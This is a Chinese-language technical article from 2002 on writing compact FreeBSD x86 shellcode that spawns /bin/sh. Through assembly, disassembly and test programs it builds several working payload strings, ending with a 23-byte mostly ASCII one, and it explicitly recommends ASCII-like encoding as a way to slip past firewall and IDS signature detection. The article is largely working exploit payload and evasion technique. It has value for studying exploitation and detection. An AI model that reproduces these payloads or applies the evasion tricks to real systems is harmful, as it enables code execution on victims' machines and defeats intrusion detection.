◆ 编写"优美"的SHELLCODE 作者:watercloud 主页:http://www.nsfocus.com 日期:2002-1-4 SHELLCODE的活力在于其功能,如果在能够完成功能的前提下又能比较"优美",那么就更能体现shellcode的魅力.个人认为shellcode的优美能在两个地方表现: shellcode本身应该尽量的短小. shellcode的书写也应该尽量的短小,并且尽量使用能书写为ascii码的机器码. 举例来讲如下两个都是FreeBSD下的shellcode,都是新开一个shell char shellcode_1[38]= "\xeb\x17\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x5e" "\x08\x50\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh"; char shellcode_2[24]= "1\xc0Ph//shh/binT[PPSS4;\xcd\x80"; 很显然shellcode_2比shellcode_1要短小精干.首先大小上shellcode_1的机器码为37字节,shellcode_2的机器码为23字节;其次从书写上shellcode_1为127字节,shellcode_2为32字节. 从中我们可以看到美化我们的shellcode主要也是从两个方面着手.首先尽量使自己的代码变小,其次尽量使用能书写为ascii码的机器码/汇编码. 当然尽量使用ascii码的好处不紧紧是使shellcode看起来美观,更重要的是现在越来越多的防火强和IDS都开始将网上流行的shellcode作为识别关键字,这就是说越是接近字符串的shellcode越能躲过他们的检测. 以下我们通过简化FreeBSD上的具体shellcode来讲述美化shellcode. 首先让我们来开始编写一个简单的shellcode程序.写如下程序test.c/* test.c for test shellcode */#includevoid main(){ char *arg[2]; arg[0] = "/bin/sh"; arg[1] = NULL; execve(arg[0], arg, NULL);}编译: gcc test.c -static -o test用gdb来看看其系统调用是如何传递参数的: gdb test(gdb) disass execveDump of assembler code for function execve:0x8048254 : lea 0x3b,%eax0x804825a : int $0x80可以看到其参数传递是通过堆栈进行的,这使得编写shellcode更是简单.总结一下就是 int $0x80 前 al中放人0x3b 并且堆栈中依次放入高地址:^ [指向执行命令的指针 ]| [指向命令行参数的指针]| [指向环境变量的指针 ]| [execve函数返回地址 ]低地址就一切搞定!写一个小程序 t.cmain(){}gcc -S t.c得到汇编框架程序t.scat t.s .file "t.c" .version "01.01"gcc2_compiled.:.text .p2align 2,0x90.globl main .type main,@functionmain: pushl %ebp movl %esp,%ebp.L2: leave ret.Lfe1: .size main,.Lfe1-main .ident "GCC: (GNU) c 2.95.3 [FreeBSD] 20010315 (release)"好了我们得到了一个汇编程序框架了,在此基础上简化一下,编写一个汇编程序test.s如下.text .p2align 2,0x90.globl main .type main,@functionmain: jmp nextreal: popl %esi ; esi指向"/bin/sh" xorl %eax,%eax ; eax=0 movb %al,0x7(%esi) ; "/bin/sh"后添加一个'\0' movl %esi,0x8(%esi) ; 在"/bin/sh\0"后面构造char *arg[2]; arg[0]=esi指向"/bin/sh" movl %eax,0xc(%esi) ; arg[1]=0 leal 0x8(%esi),%ebx ; ebx相当于arg pushl %eax ; 压入0 相当于压入execve(arg[0],arg,NULL)中的NULL pushl %ebx ; 压入arg pushl %esi ; 压入arg[0] 即"/bin/sh"的开始地址 pushl %esi ; execve的返回地址,这里就随便给一个就行了 movb $0x3b,%al int $0x80next: call real .string "/bin/sh".end .size main,.end-main编译: gcc test.s -o test运行看看bash-2.05$ ./testBus error (core dumped) 奇怪!想想看代码段默认是只读不可写而"/bin/sh"放在代码段中,我们在其后构造char*arg[2]向里边赋值肯定出错.解决办法:把test.s开头的.text改为.data告诉gcc这里的数据可读可写,作数据段,嘿嘿修改后再编译,再运行bash-2.05$ ./test$看成功了!我们来看看其机器码objdump -D test其中我们可以看到:. . . .080494c0 :80494c0: eb 17 jmp 80494d9 080494c2 :80494c2: 5e pop %esi80494c3: 31 c0 xor %eax,%eax80494c5: 88 46 07 mov %al,0x7(%esi)80494c8: 89 76 08 mov %esi,0x8(%esi)80494cb: 89 46 0c mov %eax,0xc(%esi)80494ce: 8d 5e 08 lea 0x8(%esi),%ebx80494d1: 50 push %eax80494d2: 53 push %ebx80494d3: 56 push %esi80494d4: 56 push %esi80494d5: b0 3b mov $0x3b,%al80494d7: cd 80 int $0x80080494d9 :80494d9: e8 e4 ff ff ff call 80494c2 . . . . .摘取下来作为我们的shellcode如下: "\xeb\x17\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x5e \x08\x50\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh";共37字节。测试一下:写一个测试程序testshell.c如下#includechar sh[]= "\xeb\x17\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x5e" "\x08\x50\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh";main(){ long p[1]; p[2]=sh;}编译运行:bash-2.05$ gcc testshell.c -o testshelltestshell.c: In function `main':testshell.c:7: warning: assignment makes integer from pointer without a castbash-2.05$ ./testshell$成功是成功了,但我们发行代码很长,其主要代码花费在构造并赋值给char * arg[2]上.那么我们看看execve("/bin/sh",0,0);在FreeBSD上能用吗.(注:在Linux上不行,必须给命令行参数argv[0]赋值)写一个测试程序test.cint main(){execve("/bin/sh",0,0)}编译并运行:bash-2.05$ gcc test.ctest.c: In function `main':test.c:2: warning: return type of `main' is not `int'bash-2.05$ ./a.out$看来在FreeBSD上编写shellcode更加简单了。不用构造命令行参数那么就简单多了.再写一个test.s编译后用objdump -D test 看到如下:080494c0 :80494c0: eb 0e jmp 80494d0 080494c2 :80494c2: 5e pop %esi80494c3: 31 c0 xor %eax,%eax80494c5: 88 46 07 mov %al,0x7(%esi)80494c8: 50 push %eax80494c9: 50 push %eax80494ca: 56 push %esi80494cb: 56 push %esi80494cc: b0 3b mov $0x3b,%al80494ce: cd 80 int $0x80080494d0 :80494d0: e8 ed ff ff ff call 80494c2 这次的shellcode就变成了:"\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\x56\xb0\x3b\xcd\x80\xe8\xed\xff\xff\xff/bin/sh"共28字节.接下来我们把他换个写法,里边凡是能用字符表示的我们就用字符书写:"\xeb\x0e^1\xc0\x88F\aPPVV\xb0;\xcd\x80\xe8\xed\xff\xff\xff/bin/sh"看精简多了吧!但由于"\x88F"在c语言的字符串中好像有特殊含义,不是很清楚,因为main(){printf("\x88F");}在编译时warning: escape sequence out of range for character看来只能写成:"\xeb\x0e^1\xc0\x88F""\aPPVV\xb0;\xcd\x80\xe8\xed\xff\xff\xff/bin/sh"把它分为两段字符串来写。其中能使用字符的ascii范围为:0x21 - 0x7E 和几个特殊字符0x7 -- '\a'0x8 -- '\b'0xc -- '\f'0xb -- '\v'0xd -- '\r'0xa -- '\n'查一下汇编手册我们就可以知道哪些汇编语句对应的机器码可用字符书写.不过Phrack57上已经有人总结了,我们也就不用如此费神了引用过来如下:hexadecimal opcode | char | instruction-------------------+------+--------------------------------30 | '0' | xor ,31 | '1' | xor ,32 | '2' | xor ,33 | '3' | xor ,34 | '4' | xor al,35 | '5' | xor eax,36 | '6' | ss: (Segment Override Prefix)37 | '7' | aaa38 | '8' | cmp ,39 | '9' | cmp ,41 | 'A' | inc ecx42 | 'B' | inc edx43 | 'C' | inc ebx44 | 'D' | inc esp45 | 'E' | inc ebp46 | 'F' | inc esi47 | 'G' | inc edi48 | 'H' | dec eax49 | 'I' | dec ecx4A | 'J' | dec edx4B | 'K' | dec ebx4C | 'L' | dec esp4D | 'M' | dec ebp4E | 'N' | dec esi4F | 'O' | dec edi50 | 'P' | push eax51 | 'Q' | push ecx52 | 'R' | push edx53 | 'S' | push ebx54 | 'T' | push esp55 | 'U' | push ebp56 | 'V' | push esi57 | 'W' | push edi58 | 'X' | pop eax59 | 'Y' | pop ecx5A | 'Z' | pop edx61 | 'a' | popa62 | 'b' | bound 63 | 'c' | arpl 64 | 'd' | fs: (Segment Override Prefix)65 | 'e' | gs: (Segment Override Prefix)66 | 'f' | o16: (Operand Size Override)67 | 'g' | a16: (Address Size Override)68 | 'h' | push 69 | 'i' | imul 6A | 'j' | push 6B | 'k' | imul 6C | 'l' | insb 6D | 'm' | insd 6E | 'n' | outsb 6F | 'o' | outsd 70 | 'p' | jo 71 | 'q' | jno 72 | 'r' | jb 73 | 's' | jae 74 | 't' | je 75 | 'u' | jne 76 | 'v' | jbe 77 | 'w' | ja 78 | 'x' | js 79 | 'y' | jns 7A | 'z' | jp 看!有点启发了吧.看看我们以前的代码:080494c0 :80494c0: eb 0e jmp 80494d0 ;能用je/jn/jb...就好了080494c2 :80494c2: 5e pop %esi80494c3: 31 c0 xor %eax,%eax ;放到main开头的话就能用je代替jmp了80494c5: 88 46 07 mov %al,0x7(%esi)80494c8: 50 push %eax80494c9: 50 push %eax80494ca: 56 push %esi80494cb: 56 push %esi80494cc: b0 3b mov $0x3b,%al ;可以用xorb$0x3b,%al80494ce: cd 80 int $0x80. . . . .修改之后如下:080494c0 :80494c0: 31 c0 xor %eax,%eax80494c2: 74 0c je 80494d0 080494c4 :80494c4: 5f pop %edi80494c5: 50 push %eax80494c6: 50 push %eax80494c7: 57 push %edi80494c8: 57 push %edi80494c9: 88 47 07 mov %al,0x7(%edi)80494cc: 34 3b xor $0x3b,%al80494ce: cd 80 int $0x80080494d0 :80494d0: e8 ef ff ff ff call 80494c4 对应代码为:"1\xc0t\f_PPWW\x88G\a4;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh"共28字节,书写57字节.看,又简化写了吧.现在代码主要浪费在了call real 和给"/bin/sh"最后一字节添加'\0'上了,我们能不能打破jmp nextreal: . . .next: call real .string "/bin/sh"这一体系呢?问题的关键在于FreeBSD上我们的shellcode只要一个字符串,数据量很小,我们完全可以考虑用堆栈存放该字符串。我们事先将"/bin/sh" push到堆栈中。但字符串要以\0结尾所以我们还是需要在其后添加\0,我们可以先push一个 0到堆栈中去而/bin/sh为7个字符,我们可以用/bin//sh代替,效果相同。以此为思路我们最终编写如下:0804847c :804847c: 31 c0 xor %eax,%eax804847e: 50 push %eax ; pushl 0804847f: 68 2f 2f 73 68 push $0x68732f2f ; pushl"file://sh"8048484: 68 2f 62 69 6e push $0x6e69622f ; pushl "/bin"8048489: 54 push %esp804848a: 5b pop %ebx ; 取得"/bin/sh"地址804848b: 50 push %eax804848c: 50 push %eax804848d: 53 push %ebx804848e: 53 push %ebx804848f: 34 3b xor $0x3b,%al8048491: cd 80 int $0x80对应shellcode为:"1\xc0Ph//shh/binT[PPSS4;\xcd\x80"当然我们也可以将 xor %eax,%eax 写为:pushl $0x32323232 ; pushl "2222"popl %eaxxorl $0x32323232,%eax这样整个shellcode中就只剩下\xcd\x80不是字符了,但好像有点得不偿失。最后是不是想把\xcd\x80也给换一换?不过不要太乐观了,要替换掉它就有点难度了,这得要操作具体的esp位置,这里就不多作讨论了,有兴趣可参见phrack57# 个人的一点愚见,忘大家指正。参考: 微软masm32 v6 帮助手册 phrack57# Writing ia32 alphanumeric shellcodes